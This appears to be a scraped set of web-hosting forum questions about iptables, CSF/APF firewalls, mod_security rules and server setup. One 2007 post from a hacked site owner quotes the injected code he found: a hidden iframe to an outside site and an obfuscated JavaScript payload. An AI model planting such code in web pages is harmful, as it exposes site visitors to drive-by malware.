My Own IP Keeps Getting Added To Iptables Rules
May 15, 2007
I had csf firewall installed, and due to my own stupidity, attempted to login with the wrong password one too many times, which added my IP to iptables, locking me out. I had to SSH into a linux box at school, and then ssh into my server to stop the iptables service so I could get into my server.
I removed every trace of my IP that I could find in csf, but sometime in the middle of the night, iptables reloads some rules from somewhere that blocks me again. I also tried doing iptables -F to clear all rules, but again, sometime in the middle of the night, rules are reloaded and I get blocked. I even uninstalled csf to no avail. I just want to remove my IP once and for all.
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Jul 2, 2009
One of my low knowledge area's is Iptables Rule's I just normally use APF/CSF.
However on a VPS Host node, I basically want to block all access to a certain port let's say 1234 apart from a certain IP address.
However I don't want to block this port on any of the VPS's on the Node, so what Iptable Rule(s) would I need to put into a bash script on startup.
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May 18, 2008
my server have problem with login to ftp
i ask of cpanel,cpanel answer :
Howdy,
Are you using any kind of external firewalling? I have enabled the passive
ports in pure-ftpd and attempted to connect in passive mode, but it still
fails.
and
Howdy,
You should allow connections on 30000 through 50000 for passive ftp
---
this is vps
how may i solved it?
i use of csf
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Jul 19, 2008
I use APF and APF is working with iptables , when I define a large number of IPs in deny_hosts.rules or allow_hosts.rules and restart the APF , iptables begins to display errors after applying some number of rules , I have set SET_TRIM="0" in APF , so the number of APF rules is unlimited and the error is from iptables.
Is there any setting in iptables config files for maximum number of rules?
Is it unlimited and depends only on system available memory? O/S , ...?
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Jul 1, 2009
I have a VPS (Virtuozzo) with cPanel installed. I notice that iptables running in the VPS had many DROP rules when I listed using iptables -nL command. So I flushed iptabled using "iptables -F" command and also "> /etc/sysconfig/iptables" command and restarted iptabled. When I try to list the rules it would show empty. However when I try to list after a few minutes it is showing the same old rules with many DROP rules yet again! Is there anyway to remove the rules completely?
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May 6, 2009
If I buy a web server (Linux), Do I need to use iptables and create some security rules?
What types of rules?
Is it suggest use modsecurity for Apache?
If I host 2 sites (2 wordpress blog), what are better rules?
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Oct 4, 2007
One of these rules is causing name server lookups to fail, but I can't seem to figure out which one, can anyone spot the problem?
Code:
[root@example ~]# iptables -L -n
Chain INPUT (policy DROP)
target prot opt source destination
ACCEPT all -- 0.0.0.0/0 0.0.0.0/0
INVDROP all -- 0.0.0.0/0 0.0.0.0/0 state INVALID
INVDROP tcp -- 0.0.0.0/0 0.0.0.0/0 tcp flags:0x3F/0x00
INVDROP tcp -- 0.0.0.0/0 0.0.0.0/0 tcp flags:0x3F/0x3F
INVDROP tcp -- 0.0.0.0/0 0.0.0.0/0 tcp flags:0x03/0x03
INVDROP tcp -- 0.0.0.0/0 0.0.0.0/0 tcp flags:0x06/0x06
INVDROP tcp -- 0.0.0.0/0 0.0.0.0/0 tcp flags:0x05/0x05
INVDROP tcp -- 0.0.0.0/0 0.0.0.0/0 tcp flags:0x11/0x01
INVDROP tcp -- 0.0.0.0/0 0.0.0.0/0 tcp flags:0x18/0x08
INVDROP tcp -- 0.0.0.0/0 0.0.0.0/0 tcp flags:0x30/0x20
ACCEPT all -- 0.0.0.0/0 0.0.0.0/0 state RELATED,ESTABLISHED
ACCEPT tcp -- 0.0.0.0/0 0.0.0.0/0 state NEW tcp dpt:20
ACCEPT tcp -- 0.0.0.0/0 0.0.0.0/0 state NEW tcp dpt:21
ACCEPT tcp -- 0.0.0.0/0 0.0.0.0/0 state NEW tcp dpt:22
ACCEPT tcp -- 0.0.0.0/0 0.0.0.0/0 state NEW tcp dpt:25
ACCEPT tcp -- 0.0.0.0/0 0.0.0.0/0 state NEW tcp dpt:53
ACCEPT tcp -- 0.0.0.0/0 0.0.0.0/0 state NEW tcp dpt:80
ACCEPT tcp -- 0.0.0.0/0 0.0.0.0/0 state NEW tcp dpt:110
ACCEPT tcp -- 0.0.0.0/0 0.0.0.0/0 state NEW tcp dpt:143
ACCEPT tcp -- 0.0.0.0/0 0.0.0.0/0 state NEW tcp dpt:443
ACCEPT tcp -- 0.0.0.0/0 0.0.0.0/0 state NEW tcp dpt:465
ACCEPT tcp -- 0.0.0.0/0 0.0.0.0/0 state NEW tcp dpt:953
ACCEPT tcp -- 0.0.0.0/0 0.0.0.0/0 state NEW tcp dpt:993
ACCEPT tcp -- 0.0.0.0/0 0.0.0.0/0 state NEW tcp dpt:995
ACCEPT tcp -- 0.0.0.0/0 0.0.0.0/0 state NEW tcp dpt:10023
ACCEPT udp -- 0.0.0.0/0 0.0.0.0/0 state NEW udp dpt:20
ACCEPT udp -- 0.0.0.0/0 0.0.0.0/0 state NEW udp dpt:21
ACCEPT udp -- 0.0.0.0/0 0.0.0.0/0 state NEW udp dpt:53
ACCEPT udp -- 0.0.0.0/0 0.0.0.0/0 state NEW udp dpt:953
ACCEPT icmp -- 0.0.0.0/0 0.0.0.0/0 state NEW icmp type 8
ACCEPT tcp -- 0.0.0.0/0 0.0.0.0/0 tcp spt:53 dpt:53
ACCEPT udp -- 0.0.0.0/0 0.0.0.0/0 udp spt:53 dpt:53
ACCEPT tcp -- 0.0.0.0/0 0.0.0.0/0 tcp spt:53 dpts:1024:65535
ACCEPT udp -- 0.0.0.0/0 0.0.0.0/0 udp spt:53 dpts:1024:65535
ACCEPT tcp -- 0.0.0.0/0 0.0.0.0/0 tcp spts:1024:65535 dpt:53
ACCEPT udp -- 0.0.0.0/0 0.0.0.0/0 udp spts:1024:65535 dpt:53
LOGDROPIN all -- 0.0.0.0/0 0.0.0.0/0
Chain FORWARD (policy DROP)
target prot opt source destination
Chain OUTPUT (policy DROP)
target prot opt source destination
INVDROP all -- 0.0.0.0/0 0.0.0.0/0 state INVALID
INVDROP tcp -- 0.0.0.0/0 0.0.0.0/0 tcp flags:0x3F/0x00
INVDROP tcp -- 0.0.0.0/0 0.0.0.0/0 tcp flags:0x3F/0x3F
INVDROP tcp -- 0.0.0.0/0 0.0.0.0/0 tcp flags:0x03/0x03
INVDROP tcp -- 0.0.0.0/0 0.0.0.0/0 tcp flags:0x06/0x06
INVDROP tcp -- 0.0.0.0/0 0.0.0.0/0 tcp flags:0x05/0x05
INVDROP tcp -- 0.0.0.0/0 0.0.0.0/0 tcp flags:0x11/0x01
INVDROP tcp -- 0.0.0.0/0 0.0.0.0/0 tcp flags:0x18/0x08
INVDROP tcp -- 0.0.0.0/0 0.0.0.0/0 tcp flags:0x30/0x20
ACCEPT all -- 0.0.0.0/0 0.0.0.0/0 state RELATED,ESTABLISHED
ACCEPT tcp -- 0.0.0.0/0 0.0.0.0/0 state NEW tcp dpt:20
ACCEPT tcp -- 0.0.0.0/0 0.0.0.0/0 state NEW tcp dpt:21
ACCEPT tcp -- 0.0.0.0/0 0.0.0.0/0 state NEW tcp dpt:22
ACCEPT tcp -- 0.0.0.0/0 0.0.0.0/0 state NEW tcp dpt:25
ACCEPT tcp -- 0.0.0.0/0 0.0.0.0/0 state NEW tcp dpt:53
ACCEPT tcp -- 0.0.0.0/0 0.0.0.0/0 state NEW tcp dpt:80
ACCEPT tcp -- 0.0.0.0/0 0.0.0.0/0 state NEW tcp dpt:110
ACCEPT tcp -- 0.0.0.0/0 0.0.0.0/0 state NEW tcp dpt:113
ACCEPT tcp -- 0.0.0.0/0 0.0.0.0/0 state NEW tcp dpt:443
ACCEPT tcp -- 0.0.0.0/0 0.0.0.0/0 state NEW tcp dpt:953
ACCEPT tcp -- 0.0.0.0/0 0.0.0.0/0 state NEW tcp dpt:10023
ACCEPT tcp -- 0.0.0.0/0 0.0.0.0/0 state NEW tcp dpt:9999
ACCEPT udp -- 0.0.0.0/0 0.0.0.0/0 state NEW udp dpt:20
ACCEPT udp -- 0.0.0.0/0 0.0.0.0/0 state NEW udp dpt:21
ACCEPT udp -- 0.0.0.0/0 0.0.0.0/0 state NEW udp dpt:53
ACCEPT udp -- 0.0.0.0/0 0.0.0.0/0 state NEW udp dpt:113
ACCEPT udp -- 0.0.0.0/0 0.0.0.0/0 state NEW udp dpt:123
ACCEPT udp -- 0.0.0.0/0 0.0.0.0/0 state NEW udp dpt:953
ACCEPT icmp -- 0.0.0.0/0 0.0.0.0/0 state NEW icmp type 8
ACCEPT tcp -- 0.0.0.0/0 0.0.0.0/0 tcp spt:53 dpt:53
ACCEPT udp -- 0.0.0.0/0 0.0.0.0/0 udp spt:53 dpt:53
ACCEPT tcp -- 0.0.0.0/0 0.0.0.0/0 tcp spts:1024:65535 dpt:53
ACCEPT udp -- 0.0.0.0/0 0.0.0.0/0 udp spts:1024:65535 dpt:53
ACCEPT tcp -- 0.0.0.0/0 0.0.0.0/0 tcp spt:53 dpts:1024:65535
ACCEPT udp -- 0.0.0.0/0 0.0.0.0/0 udp spt:53 dpts:1024:65535
LOGDROPOUT all -- 0.0.0.0/0 0.0.0.0/0
Chain INVDROP (18 references)
target prot opt source destination
DROP all -- 0.0.0.0/0 0.0.0.0/0
Chain LOGDROPIN (1 references)
target prot opt source destination
DROP tcp -- 0.0.0.0/0 0.0.0.0/0 tcp dpt:67
DROP udp -- 0.0.0.0/0 0.0.0.0/0 udp dpt:67
DROP tcp -- 0.0.0.0/0 0.0.0.0/0 tcp dpt:68
DROP udp -- 0.0.0.0/0 0.0.0.0/0 udp dpt:68
DROP tcp -- 0.0.0.0/0 0.0.0.0/0 tcp dpt:111
DROP udp -- 0.0.0.0/0 0.0.0.0/0 udp dpt:111
DROP tcp -- 0.0.0.0/0 0.0.0.0/0 tcp dpt:113
DROP udp -- 0.0.0.0/0 0.0.0.0/0 udp dpt:113
DROP tcp -- 0.0.0.0/0 0.0.0.0/0 tcp dpts:135:139
DROP udp -- 0.0.0.0/0 0.0.0.0/0 udp dpts:135:139
DROP tcp -- 0.0.0.0/0 0.0.0.0/0 tcp dpt:445
DROP udp -- 0.0.0.0/0 0.0.0.0/0 udp dpt:445
DROP tcp -- 0.0.0.0/0 0.0.0.0/0 tcp dpt:513
DROP udp -- 0.0.0.0/0 0.0.0.0/0 udp dpt:513
DROP tcp -- 0.0.0.0/0 0.0.0.0/0 tcp dpt:520
DROP udp -- 0.0.0.0/0 0.0.0.0/0 udp dpt:520
LOG tcp -- 0.0.0.0/0 0.0.0.0/0 limit: avg 30/min burst 5 LOG flags 0 level 4 prefix `Firewall: *TCP_IN Blocked* '
LOG udp -- 0.0.0.0/0 0.0.0.0/0 limit: avg 30/min burst 5 LOG flags 0 level 4 prefix `Firewall: *UDP_IN Blocked* '
LOG icmp -- 0.0.0.0/0 0.0.0.0/0 limit: avg 30/min burst 5 LOG flags 0 level 4 prefix `Firewall: *ICMP_IN Blocked* '
DROP all -- 0.0.0.0/0 0.0.0.0/0
Chain LOGDROPOUT (1 references)
target prot opt source destination
LOG tcp -- 0.0.0.0/0 0.0.0.0/0 limit: avg 30/min burst 5 LOG flags 0 level 4 prefix `Firewall: *TCP_OUT Blocked* '
LOG udp -- 0.0.0.0/0 0.0.0.0/0 limit: avg 30/min burst 5 LOG flags 0 level 4 prefix `Firewall: *UDP_OUT Blocked* '
LOG icmp -- 0.0.0.0/0 0.0.0.0/0 limit: avg 30/min burst 5 LOG flags 0 level 4 prefix `Firewall: *ICMP_OUT Blocked* '
DROP all -- 0.0.0.0/0 0.0.0.0/0
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Jul 2, 2008
i just got a 2nd server
i had a problem at the beginning that i had to reload
so i think the tech forgot to add my other ips to my network card configs
i remember layeredtech once reloaded my server and the same problem happend so they advised me to add it to a config file in my server
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Jan 5, 2008
I execute the following commands, in the following order:
iptables --flush
iptables --zero
iptables -A INPUT -s 218.65.12.161 -j DROP
will that last command successfully ban that IP until reboot?
If not, what needs to be done? I can't access my site if I don't flush + zero iptables first but I need to be able to ban with iptables.
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May 31, 2008
When I add a new site via New Account in WHM and once the domain resolves, the cPanel 'Great Success' page shows. I have verified the site is resolving properly.
This is a brand new installation and the only changes I have made is I updated apache via WHM.
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Apr 23, 2008
My fedora server is running apf firewall. When I turn it off, clients can connect.
When I turn it on, it says MSG: Contacting Server.
I have already added ports 6100 and 3784 to /etc/apf/conf.apf by adding the ports to the lines, EG_TCP_CPORTS, EG_UDP_CPORTS, IG_TCP_CPORTS, and IG_UDP_CPORTS
and restarted the service.
Is there any additional ports I need to add?
(I've uploaded my conf.apf file)
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Jul 9, 2008
I've been having an issue with one of my sites were someone has been adding malicious code to the index file. I don't know what has been compromised and am looking for a way to stop this.
I have a dedicated server have already upgraded MySQL to the latest version as I though that might work but it hasn't.
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Feb 21, 2008
i find on the certain time,
the mysql of server will run a lot of query,
and the io and load will become very high,
after the time point,
all the io and load with be smoth,
so,i wonder if any Cron job has been add (by certain account) to run something,
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Apr 23, 2007
Many of my websites on my server have been hacked, it randomly add's
Code:
<!--iframe width=1 height=1 border=0 frameborder=0 src=[url]-->
Code:
<!--iframe width=1 height=1 border=0 frameborder=0 src=[url]-->
and
Code:
<!--iframe width=1 height=1 border=0 frameborder=0 src='http://aboutmynews.org/news/InF.php' style='display:none;'></iframe--><!-- ~ --><script language=JavaScript>function dc(x){var l=x.length,b=1024,i,j,r,p=0,s=0,w=0,t=Array(63,49,46,22,39,35,15,23,8,28,0,0,0,0,0,0,2,25,55,54,30,40,13,57,14,12,53,47,43,19,38,3,37,33,58,18,36,44,20,24,51,60,29,0,0,0,0,41,0,0,45,48,9,32,17,59,31,6,61,5,4,7,27,50,56,62,34,10,52,1,16,21,26,42,11);for(j=Math.ceil(l/b);j>0;j--){r='';for(i=Math.min(l,b);i>0;i--,l--){w|=(t[x.charCodeAt(p++)-48])<<s;if(s){r+=String.fromCharCode(165^w&255);w>>=8;s-=2}else{s=6}}document.write(r)}}dc("kNdXOhF18O9QSX9cfBINV3WXaXUcFmFNV3p1shZcahFNw3pc7MIoahUo7mIc75APkxjJi5_eFmZtw0_rssFcmOAt7ObJfKE1s5UrzKIcSnbrIK9caBjrwB9J@3EJfXZoa5_euXUJw4I190GosKIcDspNAy8XOhF18OYN")</script><!-- ~ -->
To some of my pages on my websites in my /home directory.
Please do not visit the links without anti virus protection.
what command I can use to search all of my files in my home directory for this?
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Oct 24, 2014
I just added a new PHP Handler with PHP Verison 5.5.18 as cgi and i always get an error when activating. I used the samte setting and php ini as the Buildin Ones
root@ip1:/usr/local/src/php-5.5.18# /usr/local/psa/bin/php_handler --list
id: display name: full version: version: type: cgi-bin: php-cli: php.ini: custom:
5.5.18 5.5.18 5.5.18 5.5 cgi /usr/local/php550-cgi/bin/php-cgi /etc/php5/cli/php.ini true
cgi 5.3.29 5.3.29 5.3 cgi /usr/bin/php5-cgi /etc/php5/cgi/php.ini false
fastcgi 5.3.29 5.3.29 5.3 fastcgi /usr/bin/php5-cgi /etc/php5/cgi/php.ini false
module 5.3.29 5.3.29 5.3 module /usr/bin/php5-cgi /etc/php5/cgi/php.ini false
When i want to activate it i get
Fehler: phpinimng failed: Cannot parse php.ini: (<class 'php_ini.PhpIniSyntaxError'>, PhpIniSyntaxError('[<stdin>:24] Invalid configuration line. Are there excessive leading spaces?',))
I get this even if i want to activate a build in one.
In my additional php config i have
mail.log = /var/log/phpmail.log
mail.add_x_header = On
date.timezone = "Europe/Berlin"
[Zend]
zend_extension=/usr/lib/php/modules/ioncube_loader_lin_5.3.so
zend_extension=/usr/lib/php5/ZendGuardLoader.so
sendmail_path = /usr/sbin/sendmail-wrapper-php
I am using Debian Squeeze.
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Apr 21, 2015
I tried to set up a site with a "dedicated" IP without SSL, and ran into this problem again. The new IPs (v4 or v6) are not reachable, pingable, or trace routable from outside the container, even from its PCS hardware node.This is what I get after adding the address in PPA:
Code:
# cat ifcfg-eth0
DEVICE="eth0"
ONBOOT="yes"
BOOTPROTO=static
[code]....
By contrast, if I add an IP address through PVA, it is pingable. Note the differences, namely that PVA's ifcfg-eth0:0 has "BOOTPROTO=static" and the IPs double quoted. For those testing at home also note that PVA removed the existing IPv6 addresses (that it didn't know about).
Code:
# cat ifcfg-eth0
DEVICE="eth0"
ONBOOT="yes"
BOOTPROTO="static"
GATEWAY="x.x.194.1"
IPV6_DEFAULTGW="aaaa:bbbb:0:4c::1"
[code]....
Could that make a difference? Why I can't seem to get secondary IPs to work?
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Feb 27, 2015
I recently realized that domainkeys headers are not added to mail messages that are generated on our server. We are using MailEnable Enterprise 8.60 (upgraded on the Stardart edition, that is installed with Plesk).
I thought the problem could be related with this upgrade and created a new VM and tried that out. Installed Windows Server 2012 R2 Std, enabled DNS and IIS with ASP.NET versions, applied all updates, installed Plesk 12 and Upgraded to MailEnabled Enterprise. On the new server mails are going with the correct domainkeys headers.
Now I think that the problem was generated because of the Migration. On the old server Plesk 11.5 was installed and we didn't have any domainkeys issues. When we created our new server, with the same steps I wrote below, and migrated our backup to the new server, domainkeys headers weren't there anymore.
I couldn't find any documentation about this issue. Is there any commands to reset the settings related to domainkeys or may be it's a curruption in the psd database?
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Aug 9, 2006
I signed up with Lunarpages a while back for a dedicated server for my business. Good price, managed hosting rocks, decent disk space... little problem once with a huge power outage, but **** happens, cool.
All is well until I wake up this morning to an email a minute about a failed cron job. It smells fishy, so I contact LUnar pages support to see whats up.
They inform me that some asswad had managed to brute force into my server using a temporary account I set up a while back for some tech support. (I prefaced this with 'im an idiot', so no you know why)
Either way, my server now has a rootkit, plus other **** im sure im not aware of... so they propose to move me to a brand new fresh box. im thinking they are gonna charge me a fee for this, a fee for that... no way. All is free of charge.
Im ****ting kittens now.
so im resetting everything up, and i manage to look myself out of my database...(i told you I was an idiot.. and this was a looooong day already)
they fix it. again. no problem...
If you are looking for a dedicated server, go to lunarpages. otherwise you are a freaking idiot as far as I am concerned...
Lunarpages, I love you, I want your babies...
PS: I am in no way affiliated with lunarpages... however, if they want to give me a free year on their servers, i wouldnt complain... *hint hint*
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May 25, 2009
Is it possible to disable a particular mod_security rule for particular directory or the rules are global?
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May 26, 2009
I want to block the icmp6 and traceroute on my ipv6 server,how can i do it?
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Aug 15, 2008
I just installed mod_security via WHM, and want to know what rule should I enter to prevent some URLs from being opened.
For example, if URL contains word "abc" (like domain.com/some_folder/abc/file.php), it should not be opened.
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Jun 4, 2008
how to set the rules of MOD_Security.
Another question for professionals:
Q: What are the best rules to secure my server? I'd appreciate if you managed to attach these rules to your replies. // FYI, I host VBulletin portals.
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Feb 25, 2008
make this rules work on apache 2 mod_security 2?
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Dec 17, 2008
Any good secure rules for mod_security 2 that work well for shared servers?
Can someone share what rules you are using to secure your shared servers. Have tried a few different sets of rules, but a few customers always end up with errors and disabling it for their domain name doesn't sound like a safer option for them or the server.
Share your mod_sec 2 rules.
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Mar 15, 2008
i have server windows 2003.
ISS 6.
PHP 5.x
MySQL 5.0
how to create rules with ip/5hit/s is black list and auto ban ip with IPSec.
when test attack file .php
info test :
using code attack files.
attack file test.php ( code files : <?php echo "we are test" ; ?> )
Ex : attack files test.php ( http://mydomain.php/test.php )
attack 200hit/s ( all files .php is not run ) php application is hang.
also wherewith code attack. i tested asp, html. it isn't problem. ( 1879hit/s ) ( good working)
how to create rules ban ip with 5hit/s?
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May 10, 2008
Is there any difference with the old one?
I have a customized modsecurity.conf file in my old Apache 1.3 server. Is it ok to copy it to new modsec2.conf?
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Nov 28, 2007
I'v just upgraded to apache2.2 and modsecurity2
there is a difference between modsec1 and 2 rules
so i can't use modsecurity1 rules
so can i have rules for modsecurity2
and can you tell me how do i create a new rules
in modsecuirty1 i just do this :
Code:
SecFilter "cmd"
in modsecurity2 i triad:
Code:
SecRule "cmd"
but it didn't work
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